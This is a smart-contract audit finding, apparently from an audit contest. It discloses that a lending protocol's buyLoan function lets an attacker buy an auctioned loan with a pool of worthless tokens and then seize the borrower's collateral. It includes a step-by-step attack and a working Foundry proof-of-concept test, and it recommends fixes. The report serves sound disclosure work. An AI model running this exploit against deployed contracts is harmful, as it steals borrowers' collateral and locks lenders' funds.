Summary
The platform allows an attacker to steal an auctioned loan's collateral. The result of the attack is that
At some point, some lender will not be able to withdraw the invested loanToken
used to create the pool (or add balance to the pool)
The attacker has stolen the whole loan's collateral amount (minus protocol fee) by just spending (loan.debt * borrowerFee / 10_000)
Vulnerability Details
The attack is pretty complex but is based on different issues that are present in the buyLoan
function. This function allows
anyone to call the function even if msg.sender
is not the owner of the poolId
passed as parameter. The function at the very end will anyway set loan.lender = msg.sender
and will update the newLoanPool.poolBalance
and newLoanPool.outstandingLoans
without the authorization of the newLoanPool
real owner
do not check that the newLoanPool
is compatible with the loan
that will be bought. To be specific, the function does not check that newLoanPool.collateralToken == loan.collateralToken
and newLoanPool.loanToken == loan.loanToken
We are in the current scenario
Alice creates alicePool
with the following config
collateral token = collateralToken
loan token = loanToken
poolBalance = 1000 ether
of loanToken
the other part of the config is not relevant
Bob borrows 100 ether
of loanToken
and provides 100 ether
of collateralToken
as collateral. This operation generates a Loan
identified with the id bobLoan
Some time passes by and Alice decides that she wants to auction bobLoan
. Alice calls startAuction(bobLoan)
At this point, the attack starts. Let's call Paul
our attacker.
Paul creates a fake pool called fakePool
with the following configuration:
collateral token = fakeCollateralToken
. This token is a fresh and value-less ERC20 token that Paul deployed just before the pool creation.
loan token = fakeLoanToken
. This token is a fresh and value-less ERC20 token that Paul deployed just before the pool creation.
poolBalance = 1000 ether
of fakeLoanToken
interestRate = 1 wei
. This allows Paul to be able to instantly buy the loan without waiting for the auction to decay the currentAuctionRate
the other part of the config is not relevant
Paul at this point has bought bobLoan
spending value-less tokens by using a fakePool
that uses tokens incompatible with alicePool
and bobLoan
Already at this point, we have created a huge problem for the protocol because
Bob will not be able to refinance or repay the loan to take back the collateral. Those function would try to update a pool identified by (paul, loan.loanToken, loan.collateralToken)
but such pool does not exist because the loan has been "bought" by using fakePool
identified as (paul, fakeLoanToken, fakeCollateralToken)
. Because the pool with the tokens used by the Loan do not exist, both repay
and refinance
will revert to an underflow error
At some point some Lender won't be able to withdraw their loanToken
because Paul has not provided any loanToken
to create the fakePool
but only an amount of fakeLoanToken
Paul now performs the final step to steal the collateral that Bob has provided to open the borrow
position. To do so, Paul needs to seize bobLoan
.
The only problem for Paul is that the function perform this operation at the very end
bytes32 poolId = keccak256(
abi.encode(loan.lender, loan.loanToken, loan.collateralToken)
);
pools[poolId].outstandingLoans -= loan.debt;
But at the moment pools[poolId]
does not exist because Paul has only created a pool that uses the fake tokens. To be able to finish the attack, Paul needs to perform
Paul creates a real pool called paulPool
with the following configuration
collateral token = collateralToken
(equal to bobLoan.collateralToken
)
loan token = loanToken
. (equal to bobLoan.loanToken
)
poolBalance = bobLoan.debt ether
of loanToken
. We just need to make the seizeLoan
function not revert when it updates the paulPool.outstandingLoans
state variable
interestRate = 1 wei
. This allows Paul to be able to instantly buy the loan without waiting for the auction to decay the currentAuctionRate
minLoanSize <= bobLoan.debt
. In this case, we can set it to 1 wei
maxLoanRatio = type(uint256).max
. The attacker wants to be able to provide less collateral as possible to perform the needed debt
Paul perform an auto-borrow operation. Be borrows loanToken
from his own paulPool
to maximize the final profit, spending as less as possible. Paul borrows from paulPool
bobLoan.debt
tokens, providing only 1 wei
of collateralToken
. This is possible because paulPool.maxLoanRatio == type(uint256).max
. By performing this operation, we now have paulPool.outstandingDebt == bobLoan.debt
. At the end of the operation, Paul will have in his balance bobLoan.debt - borrowerProtocolFee
of loanToken
Paul calls startAuction([bobLoan])
starting the loan auction
Paul calls seizeLoan([bobLoan])
that will seize bobLoan.collateral
amount of collateralToken
and will send them to the attacker (minus the protocol fee)
At the end of the attack, Paul has invested just bobLoan.debt * borrowerFee / 10_000
of loanToken
to perform the needed borrow operation and has gained the whole bobLoan.collateral
(minus the protocol fee).
Impact
The platform allows an attacker to steal an auctioned loan's collateral. The result of the attack is that
At some point, some lender will not be able to withdraw the invested loanToken
used to create the pool (or add balance to the pool)
The attacker has stolen the whole loan's collateral amount (minus protocol fee) by just spending (loan.debt * borrowerFee / 10_000)
Tools Used
Manual + foundry test
BaseLender.sol
utility contract
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract WrappedLender is Lender {
function getLoanDebtDetail(uint256 loanId) external view returns (uint256 fullDebt, uint256 interest, uint256 fees) {
Loan memory loan = loans[loanId];
(interest, fees) = _calculateInterest(loan);
fullDebt = loan.debt + interest + fees;
}
function getPoolInfo(bytes32 poolId) external view returns (Pool memory) {
return pools[poolId];
}
function getLoanInfo(uint256 loanId) external view returns (Loan memory) {
return loans[loanId];
}
function calculateInterest(
Loan memory loan
) external view returns (uint256 interest, uint256 fees) {
return _calculateInterest(loan);
}
}
contract BaseLender is Test {
WrappedLender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public borrower = address(0x3);
address public fees = address(0x4);
function setUp() public virtual {
lender = new WrappedLender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000 ether);
loanToken.mint(address(lender2), 100000 ether);
collateralToken.mint(address(borrower), 100000 ether);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
}
function borrow(address _borrower, bytes32 poolId) public {
vm.startPrank(_borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 ether,
collateral: 100 ether
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
vm.stopPrank();
}
function createPool(address _lender) public returns (bytes32){
vm.startPrank(_lender);
Pool memory p = Pool({
lender: _lender,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 ether,
poolBalance: 1000 ether,
maxLoanRatio: 2 ether,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.stopPrank();
return poolId;
}
function startAuction(address _lender, uint256 loanId) public {
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
vm.prank(_lender);
lender.startAuction(loans);
}
function seizeLoan(uint256 loanId) public {
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
lender.seizeLoan(loans);
}
function getPoolId(address _lender) public returns (bytes32) {
return keccak256(
abi.encode(
address(_lender),
address(loanToken),
address(collateralToken)
)
);
}
}
AttackerStealLoanCollateral.t.sol
pragma solidity ^0.8.13;
import "./BaseLender.sol";
contract AttackerStealLoanCollateralTest is BaseLender {
function setUp() override public {
super.setUp();
}
function testBuyLoanWithFakePool() public {
bytes32 pool1 = createPool(lender1);
borrow(borrower, pool1);
uint256 loanId = 0;
vm.warp(block.timestamp + 364 days + 12 hours);
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
vm.prank(lender1);
lender.startAuction(loans);
vm.warp(block.timestamp + 12 hours);
Loan memory loanBefore = lender.getLoanInfo(loanId);
address attacker = makeAddr("attacker");
TERC20 fakeCollateralToken = new TERC20();
TERC20 fakeLoanToken = new TERC20();
vm.startPrank(attacker);
fakeCollateralToken.mint(attacker, 100_000 ether);
fakeCollateralToken.approve(address(lender), type(uint256).max);
fakeLoanToken.mint(attacker, 100_000 ether);
fakeLoanToken.approve(address(lender), type(uint256).max);
vm.stopPrank();
vm.prank(attacker);
bytes32 fakePoolId = lender.setPool(Pool({
lender: attacker,
loanToken: address(fakeLoanToken),
collateralToken: address(fakeCollateralToken),
minLoanSize: 100 ether,
poolBalance: 1000 ether,
maxLoanRatio: 2 ether,
auctionLength: 1,
interestRate: 1,
outstandingLoans: 0
}));
Pool memory fakePoolInfoBefore = lender.getPoolInfo(fakePoolId);
vm.prank(attacker);
lender.buyLoan(loanId, fakePoolId);
Pool memory fakePoolInfoAfter = lender.getPoolInfo(fakePoolId);
Loan memory loanAfter = lender.getLoanInfo(loanId);
assertTrue( fakePoolInfoAfter.loanToken != loanAfter.loanToken );
assertTrue( fakePoolInfoAfter.collateralToken != loanAfter.collateralToken );
assertEq( lender1, loanBefore.lender );
assertEq( fakePoolInfoAfter.lender, loanAfter.lender );
assertEq( fakePoolInfoAfter.lender, attacker );
assertEq(fakePoolInfoBefore.poolBalance, 1000 ether);
assertLt(fakePoolInfoAfter.poolBalance, fakePoolInfoBefore.poolBalance);
assertEq(fakePoolInfoBefore.outstandingLoans, 0);
assertGt(fakePoolInfoAfter.outstandingLoans, fakePoolInfoBefore.outstandingLoans);
{
loans = new uint256[](1);
loans[0] = loanId;
vm.prank(borrower);
vm.expectRevert(stdError.arithmeticError);
lender.repay(loans);
}
{
Refinance[] memory rs = new Refinance[](1);
rs[0] = Refinance({
loanId: loanId,
poolId: fakePoolId,
debt: 100 ether,
collateral: 100 ether
});
vm.prank(borrower);
vm.expectRevert(TokenMismatch.selector);
lender.refinance(rs);
}
vm.startPrank(attacker);
collateralToken.mint(attacker, 1);
collateralToken.approve(address(lender), 1);
loanToken.mint(attacker, loanAfter.debt);
loanToken.approve(address(lender), loanAfter.debt);
vm.stopPrank();
uint256 collateralTokenBalanceBefore = collateralToken.balanceOf(attacker);
uint256 loanTokenalanceBefore = loanToken.balanceOf(attacker);
vm.prank(attacker);
bytes32 attackerPoolId = lender.setPool(Pool({
lender: attacker,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 1,
poolBalance: loanAfter.debt,
maxLoanRatio: type(uint256).max,
auctionLength: 1,
interestRate: 1,
outstandingLoans: 0
}));
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = Borrow({
poolId: attackerPoolId,
debt: loanAfter.debt,
collateral: 1
});
vm.prank(attacker);
lender.borrow(borrows);
vm.prank(attacker);
lender.startAuction(loans);
vm.warp(block.timestamp + 1 days);
loans = new uint256[](1);
loans[0] = loanId;
vm.prank(attacker);
lender.seizeLoan(loans);
assertEq(collateralTokenBalanceBefore, 1);
assertEq(collateralToken.balanceOf(attacker), loanAfter.collateral - (loanAfter.collateral * lender.borrowerFee() / 10000));
assertEq(loanToken.balanceOf(attacker), loanTokenalanceBefore - (loanTokenalanceBefore * lender.borrowerFee() / 10000));
}
}
Recommendations
The buyFunction
should perform additional checks
msg.sender
must be the owner of the pool identified by the function input parameter poolId
The pools[poolId].collateralToken
must be equal to loan.collateralToken
and pools[poolId].loanToken
must be equal to loan.loanToken